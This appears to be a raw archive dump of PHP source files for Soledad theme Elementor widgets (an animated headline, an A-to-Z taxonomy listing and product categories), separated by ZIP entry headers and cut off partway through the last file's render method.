			Group_Control_Background::get_type(),
			array(
				'name'        => 'clip_background',
				'label'       => __( 'Clip Color', 'soledad' ),
				'types'       => array( 'classic', 'gradient' ),
				'selector'    => '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after',
				'label_block' => true,
				'separator'   => 'before'
			)
		);

		$this->end_controls_section();

	}

	protected function render() {
		$settings            = $this->get_settings_for_display();
		$tag                 = esc_attr( $settings['text_html_tag'] );
		$normal_color_style  = esc_attr( $settings['text_normal_color_style'] );
		$dynamic_color_style = esc_attr( $settings['text_animated_color_style'] );
		$style               = $settings['text_style'];
		$link                = '';

		wp_enqueue_script( 'penci-animate-headline' );

		if ( isset( $settings['text_link']['url'] ) && ! empty( $settings['text_link']['url'] ) ) {
			$this->add_render_attribute( 'text_link', 'href', $settings['text_link']['url'] );
			$this->add_render_attribute( 'text_link', 'class', 'pc-textlink' );
			if ( isset( $settings['text_link']['is_external'] ) && ! empty( $settings['text_link']['is_external'] ) ) {
				$this->add_render_attribute( 'text_link', 'target', '_blank' );
			}
			if ( isset( $settings['text_link']['nofollow'] ) && $settings['text_link']['nofollow'] ) {
				$this->add_render_attribute( 'text_link', 'rel', 'nofollow' );
			}
			$link = '<a ' . $this->get_render_attribute_string( 'text_link' ) . '></a>';
		}

		if ( 'rotating' === $style ) {
			$text   = array();
			$lists  = $settings['text_rotating_list'];
			$rotate = $settings['text_rotating'];
			$delay  = $settings['text_delay_change']['size'];

			foreach ( $lists as $list ) {
				array_push( $text, $list['text_rotating_list_item'] );
			}

			$text    = implode( ',', $text );
			$options = array(
				'style'  => esc_attr( $style ),
				'text'   => esc_attr( $text ),
				'rotate' => esc_attr( $rotate ),
				'delay'  => esc_attr( $delay ),
			);

			if ( in_array( $rotate, array( 'typing', 'swirl', 'blinds', 'wave' ), true ) ) {
				$options['letter-speed'] = esc_attr( $settings['text_letter_speed']['size'] );
			}

			if ( 'clip' === $rotate ) {
				$options['clip-duration'] = esc_attr( $settings['text_clip_duration']['size'] );
			}

			if ( 'typing' === $rotate ) {
				$options['delay-delete'] = esc_attr( $settings['text_delay_delete']['size'] );
			}
		} elseif ( 'highlighted' === $style ) {
			$options = array(
				'style' => esc_attr( $style ),
				'text'  => esc_attr( $settings['text_animated'] ),
				'shape' => esc_attr( $settings['text_shape'] ),
			);
		} else {
			$options = array( 'style' => esc_attr( $style ) );
		}

		foreach ( $options as $option => $value ) {
			$this->add_render_attribute( 'headline', 'data-' . $option, $value );
		}

		$this->add_render_attribute( 'headline', 'class', 'penci-animated-headline' );

		$text = '<' . $tag . ' class="penci-animated-text">';

		$inner_text = '<span class="normal-text style-' . $normal_color_style . '">' . esc_attr( $settings['text_before'] ) . '</span>';

		if ( 'rotating' === $style ) {
			$inner_text = $inner_text . '<span class="dynamic-wrapper style-' . $dynamic_color_style . '">' . $this->render_rotating_list( $settings['text_rotating_list'], $settings['text_rotating'] ) . '</span>';
		} elseif ( 'highlighted' === $style ) {
			$inner_text = $inner_text . '<span class="dynamic-wrapper style-' . $dynamic_color_style . '"><span class="dynamic-text">' . esc_attr( $settings['text_animated'] ) . '</span>' . penci_animated_heading_stroke( $settings['text_shape'], $settings['highlight_color_style'] ) . '</span>';
		} else {
			$inner_text = $inner_text . '<span class="dynamic-wrapper style-' . $dynamic_color_style . '"><span class="dynamic-text">' . esc_attr( $settings['text_animated'] ) . '</span></span>';
		}

		$inner_text = $inner_text . '<span class="normal-text style-' . $normal_color_style . '">' . esc_attr( $settings['text_after'] ) . '</span>';

		$text .= $inner_text;

		$text .= '</' . $tag . '>';

		echo '<div ' . $this->get_render_attribute_string( 'headline' ) . '>' . $text . $link . '</div>';
	}

	private function render_rotating_list( $lists, $rotate_style ) {
		$text_list = '';

		if ( in_array( $rotate_style, array( 'typing', 'swirl', 'blinds', 'wave' ), true ) ) {
			foreach ( $lists as $list ) {
				$text_string = $list['text_rotating_list_item'];
				$text_length = mb_strlen( $text_string, 'UTF-8' );
				$text_list   = $text_list . '<span class="dynamic-text">';

				for ( $i = 0; $i < $text_length; $i ++ ) {
					$text_list = $text_list . '<span class="dynamic-text-letter">' . mb_substr( $text_string, $i, 1, 'UTF-8' ) . '</span>';
				}

				$text_list = $text_list . '</span>';
			}
		} else {
			foreach ( $lists as $list ) {
				$text_list = $text_list . '<span class="dynamic-text">' . $list['text_rotating_list_item'] . '</span>';
			}
		}

		return $text_list;
	}
}
PK     1w\>2  2  6  elementor/modules/penci-az-taxonomy-listing/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAzTaxonomyListing;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-az-taxonomy-listing';
	}

	public function get_widgets() {
		return array( 'PenciAzTaxonomyListing' );
	}
}
PK     1w\y4  4  Q  elementor/modules/penci-az-taxonomy-listing/widgets/penci-az-taxonomy-listing.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAzTaxonomyListing\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciAzTaxonomyListing extends Base_Widget {

	public function get_name() {
		return 'penci-az-taxonomy-listing';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' ABC Categories Listing', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category', 'post' );
	}

	public function get_script_depends() {
		return [ 'penci-abc-scroll' ];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$post_taxonomies = get_object_taxonomies( 'post' );
		$post_tax        = [];
		$post_tax['']    = 'Select';
		foreach ( $post_taxonomies as $tname ) {
			$labels             = get_taxonomy( $tname );
			$post_tax[ $tname ] = $labels->label;
		}

		foreach ( penci_get_published_posttypes() as $type ) {

			$type_data = get_object_taxonomies( $type );
			if ( is_array( $type_data ) ) {
				foreach ( $type_data as $type_name ) {
					$labels                 = get_taxonomy( $type_name );
					$post_tax[ $type_name ] = $labels->label;
				}
			}
		}

		$this->add_control( 'term_name', [
			'label'   => 'Taxonomies',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => $post_tax,
			'default' => 'category',
		] );

		$this->add_control( 'taxonomies_ex', [
			'label'       => esc_html__( 'Select the Excluded Taxonomies Terms.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => get_object_taxonomies( 'post' ),
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->add_control( 'orderby', [
			'label'   => esc_html__( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'name',
			'options' => [
				'name'       => 'Name',
				'slug'       => 'Slug',
				'term_id'    => 'ID',
				'term_order' => 'Term Order',
				'count'      => 'Posts Count',
			],
		] );

		$this->add_control( 'order', [
			'label'   => esc_html__( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'ASC',
			'options' => [
				'DESC' => 'DESC',
				'ASC'  => 'ASC',
			],
		] );

		$this->add_control( 'hide_empty', array(
			'label'        => __( 'Hide Empty Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );
		
		$this->add_control( 'show_head', array(
			'label'        => __( 'Show Heading Link', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => 'yes',
		) );
		
		$this->add_control( 'show_head_style', array(
			'label'   => __( 'Heading Link Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  		=> esc_html__( 'Style 1', 'soledad' ),
				'style-2' 		=> esc_html__( 'Style 2', 'soledad' ),
			),
			'condition' => [
				'show_head' => 'yes',
			],
		) );
		
		$this->add_control( 'show_count', array(
			'label'        => __( 'Show Post Count', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_responsive_control( 'columns', array(
			'label'   => __( 'Columns', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '3',
			'options' => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
				'5' => esc_html__( '5 Columns', 'soledad' ),
				'6' => esc_html__( '6 Columns', 'soledad' )
			),
			'selectors' => array( '{{WRAPPER}} .penci_az_taxonomy_listing' => '--col: {{VALUE}};' ),
		) );
		
		$this->add_responsive_control( 'gap', array(
			'label'   => __( 'Gap', 'soledad' ),
			'type'    => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 200 ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing' => '--gap: {{SIZE}}px;'
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		// Heading Style
		$this->start_controls_section( 'section_heading_style', array(
			'label' => esc_html__( 'Heading Link', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
			'condition' => [
				'show_head' => 'yes',
			],
		) );

		$this->add_control( 'pcaz_heading_bg', array(
			'label'   => __( 'Background', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head, {{WRAPPER}} .penci_az_taxonomy_listing_head.style-2 a' => 'background: {{VALUE}};'
			),
		) );
		
		$this->add_control( 'pcaz_heading_bghv', array(
			'label'   => __( 'Hover Background', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'condition' => [
				'show_head_style' => 'style-2',
			],
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head.style-2 a:hover' => 'background: {{VALUE}};'
			),
		) );
		
		$this->add_responsive_control( 'pcaz_heading_padding', array(
			'label'   => __( 'Padding', 'soledad' ),
			'type'    => Controls_Manager::DIMENSIONS,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );
		
		$this->add_responsive_control( 'pcaz_heading_margin', array(
			'label'   => __( 'Margin', 'soledad' ),
			'type'    => Controls_Manager::DIMENSIONS,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name' => 'pcaz_heading_border',
				'selector' => '{{WRAPPER}} .penci_az_taxonomy_listing_head',
			]
		);

		$this->add_control( 'pcaz_heading_txt_cl', array(
			'label'   => __( 'Link Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head a' => 'color: {{VALUE}};'
			),
		) );
		
		$this->add_control( 'pcaz_heading_txt_hcl', array(
			'label'   => __( 'Link Hover Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing_head a:hover' => 'color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcaz_heading_txt_typo',
			'label'    => __( 'Link Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_az_taxonomy_listing_head a',
		) );

		$this->end_controls_section();

		// Heading Style
		$this->start_controls_section( 'section_headingitem_style', array(
			'label' => esc_html__( 'Character', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'pcaz_item_heading_cl', array(
			'label'   => __( 'Heading Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_listing h3' => 'color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcaz_item_heading_typo',
			'label'    => __( 'Heading Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_az_taxonomy_listing h3',
		) );

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name' => 'pcaz_item_heading_border',
				'selector' => '{{WRAPPER}} .penci_az_taxonomy_listing h3',
			]
		);

		$this->end_controls_section();

		// Item Style
		$this->start_controls_section( 'section_item_style', array(
			'label' => esc_html__( 'Links Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'pcaz_link_cl', array(
			'label'   => __( 'Links Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item a' => 'color: {{VALUE}};'
			),
		) );
		
		$this->add_control( 'pcaz_link_hcl', array(
			'label'   => __( 'Links Hover Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item a:hover' => 'color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcaz_link_typo',
			'label'    => __( 'Links Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_az_taxonomy_item a',
		) );

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name' => 'pcaz_link_border',
				'selector' => '{{WRAPPER}} .penci_az_taxonomy_item ul li:not(:last-child)',
			]
		);

		$this->add_responsive_control( 'pcaz_link_spacing', array(
			'label'   => __( 'Links Spacing', 'soledad' ),
			'type'    => Controls_Manager::SLIDER,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item ul li:not(:last-child)' => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}};'
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_count_style', array(
			'label' => esc_html__( 'Count Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'pcaz_count_cl', array(
			'label'   => __( 'Number Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item .pcaz_tcount' => 'color: {{VALUE}};'
			),
		) );
		
		$this->add_control( 'pcaz_count_hcl', array(
			'label'   => __( 'Number Hover Color', 'soledad' ),
			'type'    => Controls_Manager::COLOR,
			'selectors'  => array(
				'{{WRAPPER}} .penci_az_taxonomy_item a:hover .pcaz_tcount' => 'color: {{VALUE}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'pcaz_count_typo',
			'label'    => __( 'Number Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci_az_taxonomy_item .pcaz_tcount',
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}


	protected function render() {
		$settings = $this->get_settings();

		$ars_terms = array(
			'taxonomy'   => $settings['term_name'],
			'hide_empty' => $settings['hide_empty'] ? true : false,
			'orderby'    => $settings['orderby'],
			'order'      => $settings['order'],
		);

		$heading_style = $settings['show_head_style'];
		

		if ( $settings['taxonomies_ex'] ) {
			$ars_terms['exclude'] = $settings['taxonomies_ex'];
		}
		

		$paz_terms = get_terms( $ars_terms );

		
		$paz_grouped_terms = [];

		if ( ! empty( $paz_terms ) ) {

			foreach ( $paz_terms as $term_data ) {
				// Get the first letter (uppercase)
				$first_letter = strtoupper( mb_substr( $term_data->name, 0, 1 ) );

				// Check if the first letter key exists, if not, create it
				if ( ! isset( $paz_grouped_terms[ $first_letter ] ) ) {
					$paz_grouped_terms[ $first_letter ] = [];
				}

				// Add the term to the appropriate group
				$paz_grouped_terms[ $first_letter ][] = $term_data;
			}

			// Sort the groups alphabetically by first letter
			ksort( $paz_grouped_terms );

			echo '<div class="penci_az_taxonomy_listing_wrap">';

			$this->markup_block_title( $settings, $this );

			if ( $settings['show_head'] ) {

				echo '<div class="penci_az_taxonomy_listing_head '.$heading_style.'"><ul>';
				foreach ( $paz_grouped_terms as $paz_letter => $term_items ) {
					echo '<li><a href="#penci_az_'. esc_html( strtolower($paz_letter) ) .'">' . esc_html( $paz_letter ) . '</a></li>';
				}
				echo '</ul></div>';

			}


			echo '<div class="penci_az_taxonomy_listing">';

			foreach ( $paz_grouped_terms as $paz_letter => $term_items ) {
				if ( ! empty( $term_items) ) {
					echo '<div id="penci_az_'. esc_html( strtolower($paz_letter) ) .'" class="penci_az_taxonomy_item">';
					echo '<h3>' . esc_html( $paz_letter ) . '</h3><ul>';
					foreach ( $term_items as $term_sub_item ) {

						$term_name = $term_sub_item->name;

						if ( $term_name && $term_name !== '' ) {
							$count = $settings['show_count'] ? '<span class="pcaz_tcount">(' . $term_sub_item->count . ')</span>' : '';
							echo '<li><a href="' . get_term_link( $term_sub_item->term_id ) . '">' . $term_name .$count. '</a></li>';
						}
					}
					echo '</ul>';
					echo '</div>';
				}
			}
			echo '</div>';

			echo '</div>';
		} else {
			echo '<div class="penci_az_taxonomy_listing_wrap">';
			$this->markup_block_title( $settings, $this );
			echo '<div class="penci_az_taxonomy_listing">';
			echo '<p>' . esc_html__( 'No terms found.', 'soledad' ) . '</p>';
			echo '</div>';
			echo '</div>';
		}

	}
}PK     1w\duf2  2  5  elementor/modules/penci-product-categories/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductCategories;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_categories';
	}

	public function get_widgets() {
		return array( 'PenciProductCategories' );
	}
}
PK     1w\'s<  s<  O  elementor/modules/penci-product-categories/widgets/penci-product-categories.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductCategories\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductCategories extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_product_categories';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Product Categories', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-product-categories';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$this->add_control(
			'number',
			[
				'label'       => esc_html__( 'Number', 'soledad' ),
				'description' => esc_html__( 'Enter the number of categories to display for this element.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
			]
		);

		$this->add_control(
			'orderby',
			[
				'label'   => esc_html__( 'Order by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''           => '',
					'id'         => esc_html__( 'ID', 'soledad' ),
					'date'       => esc_html__( 'Date', 'soledad' ),
					'title'      => esc_html__( 'Title', 'soledad' ),
					'menu_order' => esc_html__( 'Menu order', 'soledad' ),
					'modified'   => esc_html__( 'Last modified date', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'order',
			[
				'label'   => esc_html__( 'Sort order', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''     => esc_html__( 'Inherit', 'soledad' ),
					'DESC' => esc_html__( 'Descending', 'soledad' ),
					'ASC'  => esc_html__( 'Ascending', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'ids',
			[
				'label'       => esc_html__( 'Categories', 'soledad' ),
				'description' => esc_html__( 'List of product categories.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => 'product_cat',
				'multiple'    => true,
				'label_block' => true,
			]
		);

		$this->add_control(
			'hide_empty',
			[
				'label'        => esc_html__( 'Hide empty', 'soledad' ),
				'description'  => esc_html__( 'Don’t display categories that don’t have any products assigned.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'yes',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->end_controls_section();

		/**
		 * Title settings.
		 */

		$this->register_block_title_section_controls();

		/**
		 * Style tab.
		 */

		/**
		 * Design settings.
		 */
		$this->start_controls_section(
			'design_style_section',
			[
				'label' => esc_html__( 'Design', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'categories_design',
			[
				'label'       => esc_html__( 'Categories design', 'soledad' ),
				'description' => esc_html__( 'Overrides option from Appearance -> WooCommerce', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'default',
				'options'     => array(
					''        => esc_html__( 'Default Theme Style', 'soledad' ),
					'default' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
					'style-4' => esc_html__( 'Style 4', 'soledad' ),
					'style-5' => esc_html__( 'Style 5', 'soledad' ),
				),
			]
		);

		$this->end_controls_section();

		/**
		 * Layout settings.
		 */
		$this->start_controls_section(
			'layout_style_section',
			[
				'label' => esc_html__( 'Layout', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'style',
			[
				'label'       => esc_html__( 'Layout', 'soledad' ),
				'description' => esc_html__( 'Try out our creative styles for categories block.', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'default',
				'options'     => array(
					'default'  => esc_html__( 'Default', 'soledad' ),
					'grid-1'   => esc_html__( 'Grid 1', 'soledad' ),
					'grid-2'   => esc_html__( 'Grid 2', 'soledad' ),
					'grid-3'   => esc_html__( 'Grid 3', 'soledad' ),
					'grid-4'   => esc_html__( 'Grid 4', 'soledad' ),
					'grid-5'   => esc_html__( 'Grid 5', 'soledad' ),
					'carousel' => esc_html__( 'Carousel', 'soledad' ),
				),
			]
		);

		$this->add_control(
			'columns',
			[
				'label'       => esc_html__( 'Columns', 'soledad' ),
				'description' => esc_html__( 'Number of columns in the grid.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [
					'size' => 4,
				],
				'size_units'  => '',
				'range'       => [
					'px' => [
						'min'  => 1,
						'max'  => 6,
						'step' => 1,
					],
				],
				'condition'   => [
					'style' => [ 'masonry', 'default' ],
				],
			]
		);

		$this->add_control(
			'spacing',
			[
				'label'   => esc_html__( 'Space between', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'no-spacing' => esc_html__( 'No Spacing', 'soledad' ),
					'small'      => esc_html__( 'Small', 'soledad' ),
					'medium'     => esc_html__( 'Medium', 'soledad' ),
					'large'      => esc_html__( 'Large', 'soledad' ),
				],
				'default' => 'no-spacing',
			]
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section(
			'carousel_style_section',
			[
				'label'     => esc_html__( 'Carousel', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'style' => [ 'carousel' ],
				],
			]
		);

		$this->add_control(
			'slides_per_view',
			[
				'label'       => esc_html__( 'Slides per view', 'soledad' ),
				'description' => esc_html__( 'Set numbers of slides you want to display at the same time on slider\'s container for carousel mode.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'default'     => [
					'size' => 3,
				],
				'size_units'  => '',
				'range'       => [
					'px' => [
						'min'  => 1,
						'max'  => 8,
						'step' => 1,
					],
				],
			]
		);

		$this->add_control(
			'hide_pagination_control',
			[
				'label'        => esc_html__( 'Hide pagination control', 'soledad' ),
				'description'  => esc_html__( 'If "YES" pagination control will be removed.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->add_control(
			'hide_prev_next_buttons',
			[
				'label'        => esc_html__( 'Hide prev/next buttons', 'soledad' ),
				'description'  => esc_html__( 'If "YES" prev/next control will be removed', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'wrap',
			[
				'label'        => esc_html__( 'Slider loop', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->add_control(
			'autoplay',
			[
				'label'        => esc_html__( 'Slider autoplay', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->add_control(
			'speed',
			[
				'label'       => esc_html__( 'Slider speed', 'soledad' ),
				'description' => esc_html__( 'Duration of animation between slides (in ms)', 'soledad' ),
				'default'     => '5000',
				'type'        => Controls_Manager::NUMBER,
				'condition'   => [
					'autoplay' => 'yes',
				],
			]
		);

		$this->add_control(
			'scroll_carousel_init',
			[
				'label'        => esc_html__( 'Init carousel on scroll', 'soledad' ),
				'description'  => esc_html__( 'This option allows you to init carousel script only when visitor scroll the page to the slider. Useful for performance optimization.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			]
		);

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {

		$default_settings = [
			// Query.
			'number'                  => null,
			'orderby'                 => '',
			'order'                   => 'ASC',
			'ids'                     => '',

			// Layout.
			'columns'                 => '4',
			'hide_empty'              => 'yes',
			'style'                   => 'default',

			// Design.
			'categories_design'       => get_theme_mod( 'penci_woocommerce_product_cat_style', 'style-1' ),

			// Extra.
			'slides_per_view'         => 3,
			'hide_pagination_control' => 'no',
			'hide_prev_next_buttons'  => 'no',
			'wrap'                    => 'no',
			'autoplay'                => 'no',
			'speed'                   => '500',
			'scroll_carousel_init'    => 'no',
			'custom_sizes'            => false,
		];

		$settings = wp_parse_args( $this->get_settings_for_display(), $default_settings );

		if ( ! $settings['spacing'] ) {
			$settings['spacing'] = get_theme_mod( 'penci-products_spacing' );
		}

		// Query.
		$query_args = array(
			'taxonomy'   => 'product_cat',
			'order'      => $settings['order'],
			'hide_empty' => 'yes' === $settings['hide_empty'],
			'include'    => $settings['ids'],
			'pad_counts' => true,
			'number'     => $settings['number'],
		);

		if ( $settings['orderby'] ) {
			$query_args['orderby'] = $settings['orderby'];
		}

		$categories = get_terms( $query_args );


		$settings['columns'] = isset( $settings['columns']['size'] ) ? $settings['columns']['size'] : 4;

		$columns = 'default' == $settings['style'] ? $settings['columns'] : 1;

		$style_class = ( 'default' == $settings['style'] || 'carousel' == $settings['style'] ) ? 'normal-grid' : 'penci-cat-grid';

		$loop_by_class = array(
			'default'  => 1,
			'carousel' => 1,
			'grid-1'   => 5,
			'grid-2'   => 6,
			'grid-3'   => 6,
			'grid-4'   => 5,
			'grid-5'   => 6,
			'grid-6'   => 6,
		);

		wc_set_loop_prop( 'loop_by', $loop_by_class[ $settings['style'] ] );
		wc_set_loop_prop( 'total', count( $categories ) );
		wc_set_loop_prop( 'products_columns', $columns );
		wc_set_loop_prop( 'product_categories_style', $settings['style'] );
		wc_set_loop_prop( 'cat-loop-style', $settings['categories_design'] );
